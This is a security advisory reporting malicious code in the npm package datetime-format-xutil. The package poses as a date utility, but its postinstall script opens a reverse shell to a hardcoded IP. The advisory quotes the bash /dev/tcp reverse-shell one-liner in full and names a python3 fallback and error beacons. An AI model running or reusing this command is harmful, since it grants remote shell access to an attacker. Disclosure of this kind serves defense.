MAL-2026-13936
Malicious code in datetime-format-xutil (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (677f98dffacde20a42bef500b1e5d3e3b4b27bdcd11d7d74aa398730d6643b24) The package advertises itself as a date-format utility but ships a postinstall.js that runs automatically via scripts.postinstall on npm install. The script opens a TCP connection to the hardcoded host 8.135.48.40:4444, spawns /bin/sh, and pipes the shell's stdio over the socket, with `bash -i >& /dev/tcp/8.135.48.40/4444 0>&1` and a python3 reverse-shell one-liner as fallbacks. On failure, error details are sent via plain-HTTP GET to http://8.135.48.40/shell/failed and /shell/error. The index.js date-format code is a cover; installing the package grants an interactive shell on the installer's host to the operator of 8.135.48.40.
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for datetime-format-xutil (npm). Pin to a known-safe version or switch to an alternative.